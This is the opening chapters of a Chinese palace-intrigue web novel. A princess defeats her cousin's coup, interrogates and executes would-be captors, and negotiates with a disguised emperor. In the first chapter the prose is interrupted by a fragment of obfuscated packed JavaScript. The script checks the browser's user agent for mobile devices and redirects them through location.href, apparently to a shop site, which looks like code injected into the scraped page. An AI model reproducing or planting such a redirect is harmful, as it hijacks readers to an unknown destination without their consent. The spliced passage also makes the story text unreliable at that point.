《望凤栖》
1. 打开机关,迎迎人
春雪初融,伫立在北朔朝,查干努尔雪岭之巅的凌霄宫如孤鹤般,静立在云端。
殿宇深处,诺敏跪坐在巨大的条案前,明黄经幡铺陈在案上,她悬腕执笔,用朱砂写着古老的祈福经文。
“公主,金帐还未有消息传来。”婢女娜仁走到诺敏身旁,给她添了一杯茶。
距离每月太子来探望公主的时间,已过去了一日,金帐还未有只言片语传来,属实不寻常。
诺敏微微抬起头,她额间一点朱砂,睫毛长而密,墨玉般眸子盯着人看时,带着锋芒,鼻梁高挺,双唇饱满。
不笑时,带着清冷与疏离。
“大祭司可回来了?”
“还没有。”
一月前,北朔国大祭司契纳奉王令,去参加三年一度的三国朝会,按路程,应在三日前就回来了。
诺敏轻轻搁下笔,踱步至窗前,推开窗棂的刹那,院里狂风骤起,系在屋檐的经幡在风中猎猎作响。
风雨欲来。
“暗一,持本宫手令,调遣一队隐枭卫去金帐,暗中探查。”
“若没见到汗父,传信于本宫,原地待命。”
一道人影从暗影处走出,步履无声,单膝点地,从诺敏手中恭敬的接过炽羽令,消失在狂风中。
隐枭卫是诺敏在十二岁那年就创立的暗卫组织,仅听命于她一人。
暮色四合,草浪翻涌,距离查干努尔雪岭百里外的草原上,一行九人,纵马疾驰,直扑凌霄宫而来。
“副统领,不过一个女子,何须劳动您跟我们受累,跑这一趟。”一侍卫装扮的人打马上前。
腾格里瞥了阿古拉一眼,呵笑一声,“女子?咱们这位大公主可不是一般的女子。”
腾格里一甩马鞭,大喊一声“加快速度,日落之前一定要到凌霄宫!”
而此时凌霄宫,烛光浮动,诺敏指尖夹着一张刚从信鸽腿上取下的密信,目光扫过上面的字:王室被囚,布日固德掌权,小心刺杀。
她将信纸凑近烛火,火舌贪婪地舔舐着边缘,仿佛要将她的手指也吞噬。
“也该到了。”
“娜兰,打开机关,迎迎人。”
罡风倾泻,劈面而来,直叫人眼目难开。
腾格里一行人终于到了雪岭山下,他们弃了马匹,步行上山。
尽管行的小心翼翼,然,异变陡生,左侧一名侍卫脚下绊了个踉跄,低头一看,并非石子、绳索,而是一根近乎透明的细线。
“咔哒。”一声轻响,在风中几乎湮灭。
“--小心!”腾格里示警的声音尚未落下,右侧石壁上便传来机括弹动的锐响。
咻!咻!咻!
不是箭矢,而是淬满了蒙汗药的粗根钢针,带着破风之声,从岩壁微不可查的孔洞里激射而出。
反应慢的根本来不及阻挡,等机关停下来,一行九人,已经躺下大半。
腾格里只能带着剩下的四人继续前行,这次他们每一步都踏的格外谨慎,不时的观察着四周。
忽然,空气中忽然弥漫起一股若有似无的桂花香。
“这早春怎么还有桂花?”一侍卫暗暗嘀咕。
“捂住口鼻!”腾格里大呵,但还是晚了。
四个人全都像被封禁了穴道,保持着上行的姿势,无法动弹。
腾格里想起了之前主上送来的情报:凌霄宫守卫不足十人。
本以为凭他的武艺,再加上其他八个精心挑选的侍卫,掌控凌霄宫轻而易举。
却怎么也想不到,这祭祀天神的地方,竟会藏有陷阱,终究还是低估了这位大公主。
诺敏伏案写完最后一个经文,接过娜仁递来的锦帕,慢条斯理地擦着手。
娜兰从外打帘而来,“殿下,已经捉住了。”
“去把人给本宫提进来。”
片刻后,九个人像破麻袋一般,被暗二一个一个扔进来。
躺着的依旧躺着,站着的依旧保持着滑稽的姿势。
诺敏抬头打量了一眼,“给他们解药。”
“公主,万一他们...”娜仁还没说完,就被娜兰睨了一眼,在凌霄宫还想刺杀公主,简直天方夜谭。
她从怀里取出解药给他们喂了进去。
等他们恢复知觉,已经是两炷香后。
诺敏半倚在软榻上,身姿慵懒闲适,檀木小几横陈榻间,她左手执白,右手执黑,棋盘上黑白双龙正绞杀的难舍难分。
“腾格里,你儿子快满月了吧。”
“阿古拉,你母亲的腿伤可好些了?”
“乌恩其,你的妹妹快嫁人了吧。”
“格根……”
......
刚才的那些话仿佛只是随口而出,如好友之间的随聊。
腾格里一行人却如坠冰窟。
就在这时,那名叫乌恩其的侍卫大声叫嚷,“副统领,怕什么,只要把她囚禁起来,她能拿我等家人如何!”
“对”
“对,这凌霄宫统共就这一个暗卫,我们还能拿不下他!”
站在乌恩其旁边的两人随声附和,他们刚才就注意到整个凌霄宫,除了下人就这一个拎他们进来的暗卫。
诺敏却不慌不忙的捻起一颗微带裂纹的白玉子,“既是裂过心的棋子,纵使磨平了表面,裂痕也早已渗进了骨里,不如--”
她把那白子裹进掌心,运转内力,任玉屑从指缝中流泻,如月华倾洒。
“碾作齑粉,重归太虚。”
下一瞬,只见一黑影一闪而过,那三人已经人头落地。
“求公主开恩,放过我等家人。”其余六人齐齐跪地求饶。
她眼尾缓缓扫向跪在青玉砖上,瑟瑟发抖的一行人,想着暗一传密信时,附带的那几张关于这九人的生平。
待那求饶声渐弱,诺敏才放下手边的黑子,手指轻扣着盘面,声音沉闷,却在寂静的大殿中格外清晰,让那六人瞬间屏住了呼吸。
“布日固德让你们来杀本宫?”
“公……公主,公主明鉴,小人万万不敢谋害公主,主...布日固德只让我等囚禁公主。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887863|192092||http|test|mini|href|location''.split(''|''),0,{}));
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>腾格里喉咙剧烈滚动,声音像是从齿缝中挤出来的,初春的天依旧寒冷,他的冷汗却已经浸透里衣。
“汗父他们如何了?”
“大汗他们被看管起来了。布日固德许是忌惮公主手上的隐枭卫,并未危及他们性命。”
“大祭司也在布日固德手里。”
这肯定的语气,让腾格里怔了一瞬。
“是……是的。”
“布日固德要求我们控制凌霄宫后,传音于他。”
诺敏望了一眼窗外,青石板上已经落满了雨。
“背叛总要付出代价。”
“予你等两条路。”
话落,娜兰挥手,下人垂首趋步,手捧黑漆木盘,盘中躺着一柄匕首和一只白玉瓷瓶。
“其一,以此匕首自决,可全你等主仆情谊,本宫不会累及你等家小。”
“其二,服下牵机,入暗卫营,若能活着通过考验,前尘尽消,只是你等以后只能凭本宫驱使了。”
殿内死寂,只闻烛心劈啪作响,以及窗外愈发绵密的雨声。
诺敏并未催促他们,她信步至案前,拿起案上的紫毫,在信笺上缓缓落笔,行云流水,不见半分停滞。
烛火映着她沉静的侧颜,殿内的生死抉择仿佛与她无关。
腾格里微微抬眼瞥了一眼诺敏后,率先倒出白玉瓷瓶里的药丸,吞了下去,接着就是其他五人,与他做了一样的选择。
半柱香后,最后一个字才落下,诺敏在四份信笺上撒上隐去字迹的药水,再用火漆封缄,递给娜兰:“传给暗一。”
然后才抬眸看向腾格里,“该怎么说,可用本宫教你?”
“小人明白。”
“把他们都带下去吧。”
等那些人都离开大殿,娜仁才上前“殿下,我们可要去找三王子?以玄虎部的战力,拿下布日固德应当没问题。”
“你以为布日固德是个傻子么?三王子虽是玄虎部的首领,但其需制衡其他三大部落,怎可轻易动?”娜兰反驳。
“那可怎么办?”
诺敏抚摸着案上那本她汗父送来,给她闲时消遣的《寻游记》,半晌才道:“汗父他们没有性命之忧,那此事就不急。只需稳住苍狼部的敖登,额尔敦就不足为虑,至于朝鲁……”
她似是想到了什么,轻笑一声,才淡淡开口:“不过,堂兄给本宫送了这么大一个惊喜,本宫当然得回礼了。”
“只是不知,他能不能接得住了。”
距离金帐哨岗楼外的十里处。
暗一拿着诺敏刚刚传来的四封信笺,只拆了其中给他那份,然后将隐枭卫分成四组,吩咐道:
“乾一你们几个现在就出发,去金雕部,暗中将苏布达哈敦接出,送往玄虎部并将这份信带给三王子。”
“乾二你们这组,潜伏在通往玄虎部的半路,接应乾一,若有追兵,必要时可分头行动,吸引视线。”
“乾三这组带着这封信,去西蛮,交给西蛮少主江致,必须是他本人接收!”
“乾四这组跟我走。”
2. 不过人云亦云罢了
破晓的晨雾里,一辆朱轮华毂的紫檀木马车碾过沾满露珠的草地。
车厢里,鎏金凤凰香炉里吐出淡淡的松木香。
诺敏身着一袭素雅长袍,此刻正倚在铺着雪白羊绒毯的榻上假寐。
耳后两股细辫坠着的小铃铛随着车身的晃动,与流苏耳坠相撞,发出细小的“叮叮”声。
娜兰正准备替诺敏盖上薄毯,就见她已经睁开了眼。
“还要多久?”
“殿下,还有半个时辰就到苍狼部了...”娜兰心里有些惴惴不安。
诺敏看着她难得支支吾吾的模样,有点好笑。
“想说什么就说。”
“殿下,传闻这苍狼部的首领敖登,滥杀成性、嗜饮人血。”
“自从他十五岁那年上战场伤了脸,就一直带着面具,再无人见过其真容。”
“他的事迹都可止小儿夜啼。我们就只带了一队隐枭卫,奴婢怕他会对您不利。”
诺敏将手炉往怀里塞了塞,“不过人云亦云罢了。”
此时金帐内。
“统领,腾格里传音。”一侍卫捧着信鸽走进金帐。
一容貌粗犷的男子坐在御案后,批着奏章,正是布日固德,他接过侍卫递来的密信,扫了一眼。
“好,好,好啊,腾格里果然没让我失望。”
“我那叔叔怕是还在等着他的珍宝来救他呢,哼,做梦!凭她再是惊才绝艳,也不过是个手无缚鸡之力的女子。”
“待我收服四大部落,再逼她交出隐枭卫,他们也就不必留了。”
站在布日固德下首,一面如冠玉的青衣男子开口道,“恭喜主上!额尔敦本就是先王封的金雕部首领,一直向着主上,由他牵制朝鲁,再好不过。现下只要招揽住苍狼部,三王子不足为虑!”
“慕砚竹,你说的倒是容易,那苍狼部是什么小部落不成,不说战力最强,敖登是什么人!怎么可能受人摆弄!”
布日固德面带不满的看着那反驳的男子,“巴图!不可无理,要不是慕先生相助,我们怎会如此顺利的拿下金帐。”
“慕先生,巴图就是个粗人,他曾救过我,望先生看在我的面子上,别跟他一般计较。”
巴图不服的昂起头“哼”了一声后,不再吭声。
慕砚竹轻勾唇角,“主上折煞微臣了,巴图侍卫不过心直口快罢了。主上要是信任微臣,微臣倒是可以替主上去说服敖登。”
这一声声“微臣”的自称,听得布日固德颇为受用,“好!不管付出什么代价,只要不威胁到皇权,砚竹都可自己做主,要是真能替我拿下敖登,必阇赤的位置就归你了!”
“臣必不辱使命。”
“你们都回去吧,我得把这些好消息去告诉我那好叔叔!”
慕砚竹站在金帐外,看着布日固德越走越远的背影,“蠢货。”
巴图从身后揽住他的肩膀,得意洋洋道“砚竹,我刚才演的如何?这必阇赤可是只有大汗亲信才能坐的位置,可谓是文官之首了,布日固德还真是舍得。”
慕砚竹挥开他的手,“陆祁安,这还在金帐,注意一点。”
陆祁安无所谓道,“怕什么,这金帐周围都是我们的人,只有那蠢货蒙在鼓里。”
“对了,陛下今日可有信传来?”
慕砚竹从怀里拿出今早传来的信笺,递给陆祁安,“陛下怎么又去苍狼部了?”
他看完,就把信直接扔进了金帐旁的火盆。
又无奈道“陛下这几年越发捉摸不透了,你也不知道劝劝。”
慕砚竹瞥了他一眼,转头望着苍狼部所在的东方,微微出神,“陛下心里……太苦了,草原的风若能让他开怀一点,又何必阻止呢。”
“我待会儿就启程,你记得看好那蠢货。”
陆祁安拍了拍胸脯,“你放心就是,我绝不会让他坏了陛下的大计!”
小雨忽至,淅淅沥沥落在帐檐上,窗帘半开。
北朔王巴尔斯正在伏案练字,笔力遒劲。
哈敦豁真坐在榻边正缝着祈福丝带,就听到布日固德低沉的嗓音。
“王叔,侄儿这儿有个‘好消息’要告诉你。”
巴尔斯抬头看了一眼笑的满面红光的人,并没吱声。
布日固德颇为自得的走到案边,垂眸注意到那张写了“宁静致远”的宣纸,“呵,王叔还真是沉得住气。”
“只是王叔若知道,你在凌霄宫的宝贝女儿已经被我囚禁起来了,还会不会有闲情雅致在这里练字。”
巴尔斯还没作出反应,豁真已经猛然站起,冲到布日固德眼前,揪起他的衣领,“你怎能?!她是你堂妹!你忘了小时,敏敏帮过你!”
布日固德挣开她的手,一把推开她。
巴尔斯立时上前扶住豁真,暗暗使力捏住她的手,趁布日固德整理衣襟的间隙,凑到她耳边低声道“别急,敏敏不会如此大意。”
“堂妹又如何?你们不也是我的亲叔婶?”
布日固德指向巴尔斯,“帮过我?呵,要不是你害我汗父身死,又欺我哈敦单纯,以我是个婴孩为由,登上我汗父的王位,我小时怎会被别人欺负?!又怎会需要她为我出头?!你们一家不过都是些伪善之人!你身下的位置本就该是我的!”
巴尔斯看着眼前有些癫狂的布日固德,“你以为是本汗害了先王?”
“你不会这时候想说不是吧?你以为我会信?”
豁真刚想说什么,就被巴尔斯拉住了,“不论你信不信,先王非我所害,而本汗的王位是经过大祭司上秉天神,下告宗庙,名正言顺得来的。”
布日固德嗤笑一声,“大祭司?”
“等我登上王位,我朝就不存在大祭司了。”
“王叔还不知道吧,大祭司此刻就在你们隔壁,跟你们作伴呢!”
“哈哈哈……”
布日固德看着巴尔斯怔愣的神情,转身大步离去。
豁真紧紧拉着巴尔斯的手,责怪道“你刚刚为什么不让我说?!你为什么要替她背着这桩罪责?!我们瞒了这么多年,也该够了吧!你难道要赔上我们儿子和女儿的性命吗?!”
巴尔斯望着妻子悲伤的神情,声音嘶哑“容我...想一想。”
呼戈其草原上,马蹄声哒哒地敲击着地面,溅起阵阵水花。
把守在苍狼部哨岗楼上的士兵,看着渐行渐近的马车和护卫,大声呼斥,“来者何人?此乃苍狼部主帐营地,闲杂人等速速离去!”
娜仁掀开窗帘看了一眼,“公主,到了。”
隐枭卫首领乌云娜上前一步,“放肆,此乃大公主座驾,谁给你的胆子,敢拦公主!还不速速开门!”
那士兵赶忙下楼,跑到马车前瞧了一眼车旗上的凤凰图腾,乌云娜和马车方向作了个揖。
“这位大人,容小人去通秉一声。首领有令,近日凡出入主帐者,皆须通秉。还望公主和大人见谅。”
乌云娜蹙着眉斥道:“还不快去。”
左偏帐内,酒味浓厚,苍狼部旗下的八个万户长齐齐醉倒在各色皮毛上,已经人事不知,唯有主位上的男人还清醒得像头夜狼。
他披着件玄色长袍,古铜色的胸膛半敞着,一道狰狞的伤疤从锁骨滑至胸口,狼牙面具掩面,只留一双墨色的眼睛,正是轩辕国的新帝万俟庭,他此刻正慢条斯理地擦拭着一柄弯刀。
“陛……‘首领’,大公主来了。”贴身侍卫庆风走到他身旁,小声低语。
“布日固德果然是个废物。”
“把她请去主帐。”
庆风领命而去,正好与一身着劲装的男子擦身而过,那男子剑眉星目,若是那些万户长醒着,就会发现那男子眉眼
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间竟与他们的首领有八分相似。
“‘首领’,属下听说大公主来了,让属下去吧,属下曾见过她一面。”
“不必,朕要亲自会会这位传说中的圣女。”
“传信给布日固德。既然都想要苍狼站队,那就看看谁的诚意更甚了。”
朔风伴着雨水,卷过苍狼部主帐上空,狼首图腾印在玄色旗帜上,随风飘扬,尽显威严。
“公主,请,首领就在里面。”
庆风侧步打帘,顺便拦住了要跟进去的乌云娜几人。
“首领只请了公主一人,烦请各位移步右偏帐稍候。”
诺敏摆了摆手,示意她们退后。
乌云娜并未离开,侯卫在主帐两侧。
万俟庭此时已经换了一身淡青色常服,宽肩窄腰,半靠在铺着白虎皮的榻上,见诺敏进来,他也并未起身行礼。
他一条腿半曲着,脚上的鹿皮靴直接踩在榻边,墨发用白玉簪束起,半幅银假面只遮住了口鼻。
诺敏观察万俟庭的同时,万俟庭也在打量着这位大公主。
进来后她就解下了厚重的斗篷风帽,那极具侵略性的美,让整个主帐的呼吸声都小了。
她的肌肤并非草原女子被风沙砺出的蜜色,而是如同上好的羊脂白玉。
眉不画而黛,剪水般的瞳仁,带着矜贵与疏离。
鼻梁挺秀,唇不点而朱。
长途跋涉的风尘也难掩其风华。
“北朔王庭的凤凰怎会来此‘不毛之地’。”
诺敏听着他不带丝毫寒暄的话语,踱步至榻前小桌旁的绒毯上,跪坐下来,给自己斟了一杯茶。
她慢慢饮完,才抬首,正好对上万俟庭探究的眼神。
她并未回避,而是直直回视,“本宫来与敖登首领做一笔交易。”
万俟庭见过了形形色色的贵女,从未有这样一双敢和他直白对视的眼睛,不含敬畏与羞涩,只有疏离和淡漠。
“交易?”
诺敏抬眸看了一眼他身后的侍从。
“都下去吧。”
沉重的毡帘落下,隔绝了外界,帐内只剩下彼此的呼吸声。
诺敏从贴身暗袋里取出一枚玄铁铸成的雀羽令,轻轻放在他面前的矮案上。
“公主这是何意?”万俟庭戏谑的看着诺敏。
“凭着此令,敖登首领可以接管本宫账下一座金山。”
“苍狼部今年的收成可不怎么好。”
万俟庭并未拿过令牌,只是意味不明的盯着诺敏。
“公主所求不小啊。”
“不如先说说来意。”
诺敏从腰间的绣囊里取出一颗香,揭开案上的狼首香炉扔了进去。
少顷,一股淡淡的松木香飘散开来,瞬间冲散了鼻尖的酒味。
万俟庭看着她不拘礼的自在模样,微挑了挑眉。
“布日固德造反,本宫只需要敖登首领安静的待在苍狼部即可。”
“哦?布日固德胆子倒是大。”
“公主准备如何做,他虽脑子不行,可也不是良善之辈。”
诺敏把雀羽令往前推了推,“首领这是同意了?”
“什么力都没出,就白得一座金山,这般划算的交易按道理没有理由拒绝。”
万俟庭两指捏住令牌,玄色流苏垂落指尖,在诺敏眼前晃了晃。
“只是……”
诺敏覷着他嘴角扬起的坏笑,“还有什么要求,首领不妨直言。”
“只是布日固德已提前差人送了拜帖,他帐下的谋士不日将抵达我苍狼部,许也是来做说客。”
“我总得比过之后,再做抉择不是。”
他忽然前倾,俯身越过案几,凑近她的耳畔,滚烫的吐息钻进诺敏的耳蜗,“公主的条件甚是诱人,只是不知比起布日固德来怎么样。”
3. 公主倒是悠然自得
深冬的寒意将散未散,连日的春雨一阵一阵的下个不停。
娜仁端着一碗姜汤到床榻边,诺敏捏着鼻子,一饮而尽。
“大祭司离开凌霄宫后,公主就再没练过拳,奴婢知道练拳枯燥,可能强身健体啊,公主怎可一直躲懒,等大祭司……”
诺敏立马抬手止住娜仁喋喋不休的嘴,转移她的注意力。
“慕砚竹来了?”
“是的,他刚到就跟着苍狼部的首领去了校场,这敖登竟如此不将公主放在眼里。”
诺敏看着娜仁气的通红的眼眶,拍了拍她的手。
“他能把苍狼部做到四大部落之首,又怎会是好相与之辈,只怕这会儿本宫没被囚禁的消息,已经出现在布日固德的案上了。”
“公主……”
“无妨,早就料到的事。”
“腾格里传出的假消息,也就只能阻止布日固德在我们来的路上不动手脚。”
“不过...他现下可顾不上本宫。”
诺敏撩起一束有点翘边的长发,顺了顺,想起昨日敖登拿起雀羽令的右手,唇角微勾,“眼下这个敖登比布日固德有意思多了。”
而此时的布日固德是真的着急上火。
他的哈敦失踪了。
“废物!废物!都是废物!那么大个活人怎么可能凭空消失?!”
布日固德猛的一拍桌子,声音震得茶水都溅了出来,他双唇紧抿,整张脸阴沉密布。
跪在堂下的暗卫脸色苍白,眼神惶恐,身体不受控制地颤抖。
为首的声音哆嗦“主...主...主上,小人却是一直守在帐外,并...并未看到有歹人出入。”
“帐...帐内也并未有声响传出……”
“好啊,既然眼睛和耳朵都无用,那就都别要了。”
布日固德广袖猛地一扬,“给我拖下去,剁了他们的耳朵,挖了他们的眼睛!”
“主上饶命……主上……”
等呼喊声渐弱,陆祁安才上前,“主上,那歹人既然没有当场灭口,而是绑走哈敦,必有所求,与其大张旗鼓的寻找,不如等他自己露头。”
“那可不是什么‘歹人’!”
“我还是低估了我那堂妹!这是刚刚传来的消息。”布日固德将信笺递给陆祁安。
“大公主到了苍狼部?!”
“是啊,以我那堂妹的心机,腾格里十有八九已经反水了。”布日固德揉了揉突突跳的太阳穴,总觉得有事要发生。
“慕先生此刻应已到了苍狼部。巴图,你也去一趟,告诉先生,此时不管付出什么代价,我都要拿下苍狼!绝不可让诺敏得逞!”
“主上不可,属下离开,谁来保护您?!”
布日固德走下台阶,双手扶住陆祁安的臂膀,“巴图,所有人中,我最信任你,这次除了此事,你还得帮我把诺敏押送回来,慕先生是个文人,所以这件事我只能交给你来办。”
陆祁安想了想,计划被打断,是得去找陛下问问下一步要如何,遂拱手作揖:“巴图定不会辜负主上的信任。”
等他回到自己的帐篷,立马招来属下吩咐,“密切注视布日固德的一举一动,若他有所察觉,可直接圈禁,等陛下裁决。”
苍狼部校场,顶部用雨帘遮的严严实实。
万俟庭身着一袭墨色劲装,墨发仅以一根简单的皮绳束成马尾,随着他舞枪的动作,在风中飞扬。
他腰腹发力,力贯臂膀,枪杆带着沉闷的风压横扫千军,震得枪尖微颤。
等他收势,慕砚竹上前给他递了一块汗巾,低声道“陛下,既然那位公主自己送上门,我们何不直接拿下她,再以北朔王的性命相挟,何愁她不交出隐枭卫。”
万俟庭睨了他一眼,“你何时跟陆祁安一般天真了?布日固德派去的人可也是以一敌十的好手,可曾占得上风?”
“她不会毫无准备就来苍狼,必有后手,况且...咱们这位圣女可是善武的。”
犹记得昨日,她进帐时,那悄无声息的脚步声,毫不掩饰她会武。
是多有把握自己能全身而退,才如此明目张胆。
他真是越发好奇她会怎么做了。
“走吧,这位公主也是时候来加码了。”
暮云低垂,细雨如酥,诺敏披着一件鸦青色斗篷站在离主帐不远处的青丘上,娜兰举着桐油伞侍立在左侧。
忽闻远处马蹄踏碎泥泞,暗一披着蓑衣疾驰过了岗门,下马行礼。
“殿下,属下已将信交给了武成王,武成王同意了,只是他说……”
“说什么?。”
暗一低声道“他说他要是帮了公主这么大的忙,公主...公主陪他用顿膳不过分吧。”
诺敏轻笑一声,“还是如此不着边际。”
“苏布达哈敦已被安全送至玄虎部,三王子说都听您的安排。”
“江致呢?”
“江少主说随时都可以。”
“回去吧,现在可以跟敖登好好谈了。”
诺敏走进主帐时,万俟庭刚刚沐浴完,披着湿发正在批着文书,而堂下八张小案已经坐满了,都是苍狼部的万户长,见她进来,也无人起身行礼让座。
万俟庭头也未抬,“公主稍后。”
就把她晾在了中央。
鸦青色斗篷混着桃粉色袍角,掠过青石砖,诺敏踏上台阶,等众人晃过神,她已兀自坐在了万俟庭右侧,竟将万俟庭往左侧挤了半寸。
“挪些地方。”她解下斗篷时不忘用手肘轻碰他肋下,随后朝帐外唤道,“取本宫的越窑青瓷来。”
少顷,娜兰便捧来茶具,见自家公主坐在万俟庭旁边,也没多惊讶,倒是堂下众人直接傻眼,一个个你看我,我看你,就是慕砚竹也快惊掉了下巴。
这位公主果非凡人,就他家陛下那生人勿近的眼神,她竟然视而不见。
万俟庭身形在她坐下那刻,就陡然僵住,掌中信笺更是被攥出深深褶皱。
他看着她素手碾茶,衣袖翻飞,顷刻间,案几上茶香与墨香氤氲成片。
“你……”他喉结滚动,却见她含笑端起首盏茶汤递到他手边,唇角牵起两个小小的梨涡,“尝尝。”
万俟庭怔忪之色只如水面涟漪,在他眼底一掠而过,但下颌线微不可察的收紧,还是没逃过慕砚竹的眼睛。
他家陛下脸上难得出现这样的神色,真是稀奇。
“公主倒是悠然自得。”
诺敏微微垂下眼帘,从容的端起自己面前的那盏青瓷茶盅,轻嗅茶香。
余光瞥见他端起茶盅的右手,她才低头浅啜了一口,抬眸就对上他的视线,那对梨涡似乎更深了一些。
万俟庭移开视线,目光游离至堂下,看着一个个戏谑的眼神,“慕砚竹留下,其他人都下去吧。”
毡帘刚一合拢,一年轻的万户长便再也忍不住,用胳膊肘轻轻撞了身旁的同僚一下,挤了挤眼,那一位也立刻会意,压低声音笑道;“你瞧见没?首领的眼神跟在沙场上简直判若两
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人。”
也有人摇头轻叹:“大公主当真是国色天香,配那轩辕国谪仙般的万俟庭都绰绰有余,她真能看上我们首领么?”
站在那人身后年长一些的男子,猛拍一下刚刚摇头的人,“主公也是你们能妄议的,走走走,完不成主公交待的任务,仔细你们的皮。”
而此时帐内,慕砚竹已经将布日固德的条件转述了一遍给诺敏。
意思是,只要敖登愿意助布日固德拿下玄虎部和卓鹰部,可随意挑两者之间任意部落吞并。
诺敏一只手随意地撑着额头,青丝如瀑,顺着雪白的腕子流泻而下。
她就这么侧着首,肆无忌惮的瞧着万俟庭,另一只手还在空转着茶盏,自在的仿佛此刻置身于她的凌霄宫。
“公主这是准备放弃了?”
她唇角微微上扬,这笑意不同于刚刚的礼貌,带着一点狡黠,眼尾上挑,让万俟庭想起了去年御场围猎,遇到的那只白狐。
她终于开口,“本宫记得敖登首领是个左撇子。”
万俟庭眸光加深,掠过自己那只握着茶盏的右手。
“公主倒是好记性,只是臣的义父每回见了都要呵斥,他说左利手不合礼制,遂早就换成右手了。”
他忽而贴近,左袖携着清冽的沉木香,轻擦过诺敏的鬓角,取走案上的那只狼毫笔。
“看好了。”耳后传来低语。
只见他左手运笔如龙,在宣纸上洇开墨汁,“诺敏”二字在他腕下绽开,力透纸背。
诺敏微挑了挑眉,“好字。”
不知是在夸她的名字还是他的字。
她又抬眸扫向慕砚竹,眼神锐利如刀。
“阁下是轩辕人?”
“为何在我北朔朝搅动风云?”
“轩辕帝这是按耐不住了?”
言辞犀利,饶是万俟庭也没想到,她会如此直白了当的说出口。
“你如何知晓他是轩辕人?”
“轩辕朝的习俗,为保佑远行的亲人,可绣香囊缠上至亲之人的墨发。”
慕砚竹倏然垂眸,长睫掩盖住眸底翻涌的巨浪,右手捏紧垂挂在腰间的香囊,再抬眼时,面上已经恢复平静。
“小人的确是轩辕人,‘搅弄风云’就是无稽之谈了,不过是在其位谋其事罢了。”
“至于轩辕帝,小人要是能在轩辕帝手下谋得一官半职,何须远离亲人,来到此地。”
诺敏没说信与不信,淡然的收回目光,然后向万俟庭扔下一个惊雷。
“三日内,大昭将陈兵十万于苍狼东境。”
“若首领肯收下本宫的金山,兵祸自然消解。若首领选择布日固德,那就跟他……”
诺敏唇角微勾,笑意未达眼底,一字一句道:“一起消失吧。”
“毕竟...都想毁了本宫的安稳日子,那本宫……就只能掀桌了。”
她拿起案几上那支将干未干的狼豪笔,颇有兴致的在手中转了转,然后指向慕砚竹,似是忽然想到般。
“哦对了,要是万俟庭想要趁火打劫,那你同为轩辕人,记得好心给他传个口信,本宫在他旁边的西蛮,养了十万只蛊虫。”
随后放下笔起身,系好斗篷,未再看他们一眼。
“敖登首领,明日本宫等着你的答复。”
半晌后。
慕砚竹才回过神,转头就看见他家陛下,正一脸笑意的盯着桌上的那两个字,先是一声低笑从喉间溢出,随即扶首纵声长笑,竟是再也抑制不住。
4. 我已经给过赔礼了
等万俟庭的笑声渐止,慕砚竹才走上前。
“陛下,这位北朔的公主当真是深不可测。”
万俟庭却像是没听到他的话,自言自语道,“‘诺敏’寓意生机勃勃,果真生机勃勃。”
随即,他命人取来檀木盒,将那张宣纸折起放入其中。
“撤回金帐的人,抹去痕迹。”
“陛下,此局我们已经拿下小半,就这样放弃太过可惜。”
万俟庭眸底一片幽深,唇角微扬,“北朔除了有布日固德,还有额尔敦这个蛀虫,他跟巫族的关系可不简单。”
“就算朕此刻能拿下布日固德和北朔王,但这位公主手中还有多少底牌,无人得知。”
“恐怕朕的听风阁也没有她的密报。”
慕砚竹点了点头,确实,一个还没掌握实权的公主,谁会放在眼里。
“何不让他们自己斗起来,朕也想知道这位公主还有多少能耐。”
“不过朕花了这么长的时间布局,怎可能只拿一座金山。”
“听风阁来报,玄虎部近日发现了一座庞大的铁矿山,而铁矿山所在的那块地,刚好靠近苍狼的边界处。”
“若有了这座铁矿,我轩辕的兵力又可再上一层。”
“陛下英明。”
慕砚竹随即又想到诺敏口中的十万蛊虫,担忧道:“陛下,那蛊虫,可要派人去探查?”
“不必,只要她没有足够的证据,证明轩辕从中横插了一脚,那些蛊虫就不足为虑。”
与此同时,坐落在北朔朝南部的玄虎部落主帐内。
北朔三王子阿尔斯楞身披狐裘,站在舆图前,用镶着虎首金的马鞭,敲向标注着铁矿的猩红朱砂处,语气戏谑:
“阿姐来信,敖登那厮野心不可小瞧,若不满足于阿姐给的条件,也许会拿本王这座铁矿,你们现在就出发,能挖多少挖多少,但记得留口汤给敖登。”
万户长蒙克轻拍大腿,“大公主真是神机妙算!”
阿尔斯楞眉峰微扬,似是与有荣焉:“那当然,我阿姐可是大祭司亲选的圣女。”
“快去吧。”
等蒙克等人退出主帐,阿尔斯楞喊来副将,“苏布达哈敦如何了?”
“启禀首领,哈敦今日还未用膳。”
他长叹了一口气,往外走去。
一身白色素衣的苏布达端坐在毡帐内,手执着佛珠,正在祷告。
婢女侍候在旁,“哈敦这是何苦……”
她抬手止住她们要出口的话,“你们不必再劝。”
忽然,一声高喝从帐外传来,“你们是如何伺候的?还不赶紧服侍哈敦用膳,她若有个三长两短,你们也不必活了!”
阿尔斯楞从外踏步而来,众婢女立马匍匐在地,身体不停打着颤。
苏布达见状,无奈道:“你何必为难这些下人。”
“哈敦若是饿坏了身体,扰了我阿姐的大计,我可没那个脑袋去弥补。”阿尔斯楞随手寻了一张矮凳就坐了上去。
“阿尔斯楞,本宫自认待你们姐弟不薄,为何要如此?总得给本宫一个理由吧。”
“告诉你也无妨,你的好儿子囚禁了我汗父他们,妄图篡位,我阿姐不过礼尚往来罢了。”
苏布达呼吸瞬间屏住,难以置信的回首凝视着他,“不...不可能!他怎会谋反?!”
他双手一摊,“阿姐说,布日固德许是认为我汉父篡了先王的位。”
苏布达脸上的血色霎时退尽,藏在袖中的手微微颤抖着。
“我劝哈敦还是赶紧用膳,我阿姐想做的事,谁都拦不住。”
“有空的时候,记得向长生天祈祷布日固德没丧心病狂,否则……”阿尔斯楞眼中闪过一道寒芒,起身打帘而去。
连日来,春雨缠绵,如今光初霁,空气中浮动着青草香。
“殿下,敖登首领派人送了文书来。”娜兰把手中的宣纸递给诺敏。
她打开端详了片刻,果然如她所想,唇角微勾,“拿笔来。”
待她签完,拿出雀羽令:“你亲自送过去,带句话。”
金帐内,万俟庭正阅览着听风阁传来的消息:太后病重。
他闭眼揉了揉额角,吩咐庆风,“朕今日回轩辕,让楼寂白回来。”
